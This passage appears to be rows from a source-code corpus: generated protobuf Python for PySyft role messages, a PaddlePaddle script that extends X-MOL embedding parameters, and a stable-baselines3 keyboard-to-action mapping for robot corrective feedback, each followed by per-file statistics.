cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.UpdateRoleMessage.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="reply_to", full_name="syft.grid.messages.UpdateRoleMessage.reply_to", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=1318, serialized_end=1474, ) _UPDATEROLERESPONSE = _descriptor.Descriptor( name="UpdateRoleResponse", full_name="syft.grid.messages.UpdateRoleResponse", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.UpdateRoleResponse.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="status_code", full_name="syft.grid.messages.UpdateRoleResponse.status_code", index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.UpdateRoleResponse.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.UpdateRoleResponse.address", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=1477, serialized_end=1614, ) _DELETEROLEMESSAGE = _descriptor.Descriptor( name="DeleteRoleMessage", full_name="syft.grid.messages.DeleteRoleMessage", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.DeleteRoleMessage.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.DeleteRoleMessage.address", index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.DeleteRoleMessage.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="reply_to", full_name="syft.grid.messages.DeleteRoleMessage.reply_to", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=1617, serialized_end=1773, ) _DELETEROLERESPONSE = _descriptor.Descriptor( name="DeleteRoleResponse", full_name="syft.grid.messages.DeleteRoleResponse", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.DeleteRoleResponse.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="status_code", full_name="syft.grid.messages.DeleteRoleResponse.status_code", index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.DeleteRoleResponse.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.DeleteRoleResponse.address", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=1776, serialized_end=1913, ) _CREATEROLEMESSAGE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _CREATEROLEMESSAGE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _CREATEROLEMESSAGE.fields_by_name[ "reply_to" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _CREATEROLERESPONSE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _CREATEROLERESPONSE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _GETROLEMESSAGE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _GETROLEMESSAGE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _GETROLEMESSAGE.fields_by_name[ "reply_to" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _GETROLERESPONSE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _GETROLERESPONSE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _GETROLESMESSAGE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _GETROLESMESSAGE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _GETROLESMESSAGE.fields_by_name[ "reply_to" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _GETROLESRESPONSE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _GETROLESRESPONSE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _SEARCHROLEMESSAGE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _SEARCHROLEMESSAGE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _SEARCHROLEMESSAGE.fields_by_name[ "reply_to" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _SEARCHROLERESPONSE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _SEARCHROLERESPONSE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _UPDATEROLEMESSAGE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _UPDATEROLEMESSAGE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _UPDATEROLEMESSAGE.fields_by_name[ "reply_to" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _UPDATEROLERESPONSE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _UPDATEROLERESPONSE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _DELETEROLEMESSAGE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _DELETEROLEMESSAGE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _DELETEROLEMESSAGE.fields_by_name[ "reply_to" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS _DELETEROLERESPONSE.fields_by_name[ "msg_id" ].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID _DELETEROLERESPONSE.fields_by_name[ "address" ].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS DESCRIPTOR.message_types_by_name["CreateRoleMessage"] = _CREATEROLEMESSAGE DESCRIPTOR.message_types_by_name["CreateRoleResponse"] = _CREATEROLERESPONSE DESCRIPTOR.message_types_by_name["GetRoleMessage"] = _GETROLEMESSAGE DESCRIPTOR.message_types_by_name["GetRoleResponse"] = _GETROLERESPONSE DESCRIPTOR.message_types_by_name["GetRolesMessage"] = _GETROLESMESSAGE DESCRIPTOR.message_types_by_name["GetRolesResponse"] = _GETROLESRESPONSE DESCRIPTOR.message_types_by_name["SearchRoleMessage"] = _SEARCHROLEMESSAGE DESCRIPTOR.message_types_by_name["SearchRoleResponse"] = _SEARCHROLERESPONSE DESCRIPTOR.message_types_by_name["UpdateRoleMessage"] = _UPDATEROLEMESSAGE DESCRIPTOR.message_types_by_name["UpdateRoleResponse"] = _UPDATEROLERESPONSE DESCRIPTOR.message_types_by_name["DeleteRoleMessage"] = _DELETEROLEMESSAGE DESCRIPTOR.message_types_by_name["DeleteRoleResponse"] = _DELETEROLERESPONSE _sym_db.RegisterFileDescriptor(DESCRIPTOR) CreateRoleMessage = _reflection.GeneratedProtocolMessageType( "CreateRoleMessage", (_message.Message,), { "DESCRIPTOR": _CREATEROLEMESSAGE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.CreateRoleMessage) }, ) _sym_db.RegisterMessage(CreateRoleMessage) CreateRoleResponse = _reflection.GeneratedProtocolMessageType( "CreateRoleResponse", (_message.Message,), { "DESCRIPTOR": _CREATEROLERESPONSE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.CreateRoleResponse) }, ) _sym_db.RegisterMessage(CreateRoleResponse) GetRoleMessage = _reflection.GeneratedProtocolMessageType( "GetRoleMessage", (_message.Message,), { "DESCRIPTOR": _GETROLEMESSAGE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.GetRoleMessage) }, ) _sym_db.RegisterMessage(GetRoleMessage) GetRoleResponse = _reflection.GeneratedProtocolMessageType( "GetRoleResponse", (_message.Message,), { "DESCRIPTOR": _GETROLERESPONSE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.GetRoleResponse) }, ) _sym_db.RegisterMessage(GetRoleResponse) GetRolesMessage = _reflection.GeneratedProtocolMessageType( "GetRolesMessage", (_message.Message,), { "DESCRIPTOR": _GETROLESMESSAGE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.GetRolesMessage) }, ) _sym_db.RegisterMessage(GetRolesMessage) GetRolesResponse = _reflection.GeneratedProtocolMessageType( "GetRolesResponse", (_message.Message,), { "DESCRIPTOR": _GETROLESRESPONSE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.GetRolesResponse) }, ) _sym_db.RegisterMessage(GetRolesResponse) SearchRoleMessage = _reflection.GeneratedProtocolMessageType( "SearchRoleMessage", (_message.Message,), { "DESCRIPTOR": _SEARCHROLEMESSAGE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.SearchRoleMessage) }, ) _sym_db.RegisterMessage(SearchRoleMessage) SearchRoleResponse = _reflection.GeneratedProtocolMessageType( "SearchRoleResponse", (_message.Message,), { "DESCRIPTOR": _SEARCHROLERESPONSE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.SearchRoleResponse) }, ) _sym_db.RegisterMessage(SearchRoleResponse) UpdateRoleMessage = _reflection.GeneratedProtocolMessageType( "UpdateRoleMessage", (_message.Message,), { "DESCRIPTOR": _UPDATEROLEMESSAGE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.UpdateRoleMessage) }, ) _sym_db.RegisterMessage(UpdateRoleMessage) UpdateRoleResponse = _reflection.GeneratedProtocolMessageType( "UpdateRoleResponse", (_message.Message,), { "DESCRIPTOR": _UPDATEROLERESPONSE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.UpdateRoleResponse) }, ) _sym_db.RegisterMessage(UpdateRoleResponse) DeleteRoleMessage = _reflection.GeneratedProtocolMessageType( "DeleteRoleMessage", (_message.Message,), { "DESCRIPTOR": _DELETEROLEMESSAGE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.DeleteRoleMessage) }, ) _sym_db.RegisterMessage(DeleteRoleMessage) DeleteRoleResponse = _reflection.GeneratedProtocolMessageType( "DeleteRoleResponse", (_message.Message,), { "DESCRIPTOR": _DELETEROLERESPONSE, "__module__": "proto.grid.messages.role_messages_pb2" # @@protoc_insertion_point(class_scope:syft.grid.messages.DeleteRoleResponse) }, ) _sym_db.RegisterMessage(DeleteRoleResponse) # @@protoc_insertion_point(module_scope)
33.407177
3,373
0.617762
5,062
48,407
5.552746
0.037732
0.0444
0.065569
0.058595
0.835065
0.823111
0.773303
0.77188
0.77188
0.766259
0
0.037766
0.285062
48,407
1,448
3,374
33.430249
0.774416
0.02384
0
0.830925
1
0.004335
0.132165
0.098689
0
0
0
0
0
1
0
false
0
0.004335
0
0.004335
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
611bc4b32eaac10d967df72ee0843c3e4d1282c2
5,335
py
Python
FT_to_generation/extend_pos.py
bm2-lab/X-MOL
a64cd4222ab819326767224d91fa8605f52f4fc4
[ "Apache-2.0" ]
19
2021-01-27T16:54:24.000Z
2022-03-30T02:54:47.000Z
FT_to_generation/extend_pos.py
bm2-lab/X-MOL
a64cd4222ab819326767224d91fa8605f52f4fc4
[ "Apache-2.0" ]
1
2022-02-20T08:30:52.000Z
2022-02-21T07:40:49.000Z
FT_to_generation/extend_pos.py
bm2-lab/X-MOL
a64cd4222ab819326767224d91fa8605f52f4fc4
[ "Apache-2.0" ]
5
2021-09-27T09:45:31.000Z
2022-02-21T07:27:47.000Z
import os import numpy as np import argparse import paddle.fluid as fluid import sys import json def init_emb(size, dim): program = fluid.Program() global_block = program.global_block() global_block.create_parameter(name="add_emb", shape=[size, dim], dtype='float32', initializer=fluid.initializer.TruncatedNormal(scale=0.02)) place = fluid.core.CPUPlace() exe = fluid.Executor(place) exe.run(program) np_value = np.array(fluid.global_scope().find_var("add_emb").get_tensor()) return np_value def init_emb_b(size): program = fluid.Program() global_block = program.global_block() global_block.create_parameter(name="add_emb", shape=[size], dtype='float32', initializer=fluid.initializer.TruncatedNormal(scale=0.02)) place = fluid.core.CPUPlace() exe = fluid.Executor(place) exe.run(program) np_value = np.array(fluid.global_scope().find_var("add_emb").get_tensor()) return np_value def get_emb(path, param_name="pos_embedding", org_dict_size=1, size=None): from_dir = path param_name = param_name program = fluid.Program() global_block = program.global_block() global_block.create_parameter(name=param_name, shape=[org_dict_size, 768], dtype='float32', initializer=fluid.initializer.Constant(value=0.00)) place = fluid.core.CPUPlace() exe = fluid.Executor(place) exe.run(program) param_path = os.path.join(from_dir, param_name) if os.path.exists(param_path): print('Load param from %s' % param_path) fluid.io.load_params(exe, from_dir, main_program=program, filename=param_name) else: raise IOError("%s doesn't exist" % param_path) np_value = np.array(fluid.global_scope().find_var(param_name).get_tensor()) if size: return np_value[:size] return np_value def get_emb_b(path, param_name="mask_lm_fc_out.b_0", org_dict_size=1, size=None): from_dir = path param_name = param_name program = fluid.Program() global_block = program.global_block() global_block.create_parameter(name=param_name, shape=[org_dict_size], dtype='float32', initializer=fluid.initializer.Constant(value=0.00)) place = fluid.core.CPUPlace() exe = fluid.Executor(place) exe.run(program) param_path = os.path.join(from_dir, param_name) if os.path.exists(param_path): print('Load param from %s' % param_path) fluid.io.load_params(exe, from_dir, main_program=program, filename=param_name) else: raise IOError("%s doesn't exist" % param_path) np_value = np.array(fluid.global_scope().find_var(param_name).get_tensor()) if size: return np_value[:size] return np_value def set_emb(value, path, param_name): program = fluid.Program() global_block = program.global_block() global_block.create_parameter(name=param_name, shape=[1, 1], dtype='float32', initializer=fluid.initializer.Constant(value=0.00)) place = fluid.core.CPUPlace() exe = fluid.Executor(place) exe.run(program) fluid.global_scope().find_var(param_name).get_tensor().set(value, place) fluid.io.save_params(exe, path, main_program=program, filename=param_name) print("\nWrite param to %s" % os.path.join(path, param_name)) def extend_pos_emb(config_path, init_path, new_size): #scope = fluid.core.Scope() #with fluid.scope_guard(scope): fin = open(config_path) config = json.load(fin) fin.close() if new_size <= config["max_position_embeddings"]: return add_size = new_size - config["max_position_embeddings"] add_emb = init_emb(add_size, config["hidden_size"]) org_emb = get_emb(init_path)[:config["max_position_embeddings"]] new_emb = np.concatenate((org_emb, add_emb), axis=0) set_emb(new_emb, init_path, "pos_embedding") def extend_word_emb(config_path, init_path): #scope = fluid.core.Scope() #with fluid.scope_guard(scope): fin = open(config_path) config = json.load(fin) fin.close() new_dict_length = config["vocab_size"] org_dict_length = 112 if new_dict_length <= org_dict_length: print('wrong dict') add_size = new_dict_length - org_dict_length add_emb = init_emb(add_size, config["hidden_size"]) org_emb = get_emb(init_path, param_name="word_embedding", org_dict_size=org_dict_length)[:org_dict_length] new_emb = np.concatenate((org_emb, add_emb), axis=0) set_emb(new_emb, init_path, "word_embedding") def extend_fc_out_b(config_path, init_path): fin = open(config_path) config = json.load(fin) fin.close() new_dict_length = config["vocab_size"] org_dict_length = 112 if new_dict_length <= org_dict_length: print('wrong dict') add_size = new_dict_length - org_dict_length add_emb = init_emb_b(add_size) org_emb = get_emb_b(init_path, param_name="mask_lm_out_fc.b_0", org_dict_size=org_dict_length)[:org_dict_length] new_emb = np.concatenate((org_emb, add_emb), axis=0) set_emb(new_emb, init_path, "mask_lm_out_fc.b_0") #if __name__ == "__main__": #extend_pos_emb(sys.argv[1], sys.argv[2], int(sys.argv[3]))
30.3125
116
0.681912
771
5,335
4.40856
0.136187
0.055605
0.052957
0.030009
0.866431
0.839365
0.797882
0.797882
0.797882
0.785819
0
0.010979
0.197563
5,335
175
117
30.485714
0.782995
0.036739
0
0.741935
0
0
0.075799
0.013445
0
0
0
0
0
1
0.064516
false
0
0.048387
0
0.169355
0.040323
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b64a9199e5329adebd9761c6c2cf07a7f4f57956
3,069
py
Python
stable_baselines3/common/corrective_feedback.py
corgiTrax/stable-baselines3
95dc5e30ab6a21225da4b718953e83870e4f146b
[ "MIT" ]
null
null
null
stable_baselines3/common/corrective_feedback.py
corgiTrax/stable-baselines3
95dc5e30ab6a21225da4b718953e83870e4f146b
[ "MIT" ]
null
null
null
stable_baselines3/common/corrective_feedback.py
corgiTrax/stable-baselines3
95dc5e30ab6a21225da4b718953e83870e4f146b
[ "MIT" ]
null
null
null
from pynput import keyboard, mouse # Behavior Robot Corrective Action: # order: torso - x, y, z, roll, pitch, yaw # head # left hand # right hand # gripper behavior_robot = { keyboard.KeyCode.from_char("a"): [ 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, ], # +y keyboard.KeyCode.from_char("s"): [ -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, ], # -x keyboard.KeyCode.from_char("z"): [ 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, ], # +z keyboard.KeyCode.from_char("w"): [ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, ], # +x keyboard.KeyCode.from_char("x"): [ 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, ], # -z keyboard.KeyCode.from_char("d"): [ 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, ], # -y } # Fetch Robot Corrective Action: # order: torso - x, y, z, roll, pitch, yaw # head # left hand # right hand # gripper fetch_robot = { keyboard.KeyCode.from_char("a"): [ 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, ], # +y keyboard.KeyCode.from_char("s"): [ -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ], # -x keyboard.KeyCode.from_char("z"): [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], # +z keyboard.KeyCode.from_char("w"): [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # +x keyboard.KeyCode.from_char("x"): [0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0], # -z keyboard.KeyCode.from_char("d"): [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], # -y }
14.077982
78
0.244053
339
3,069
2.168142
0.091445
0.451701
0.563265
0.620408
0.92517
0.92517
0.92517
0.92517
0.92517
0.92517
0
0.19171
0.622678
3,069
217
79
14.142857
0.443005
0.099707
0
0.935961
0
0
0.004383
0
0
0
0
0
0
1
0
false
0
0.004926
0
0.004926
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
1
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
12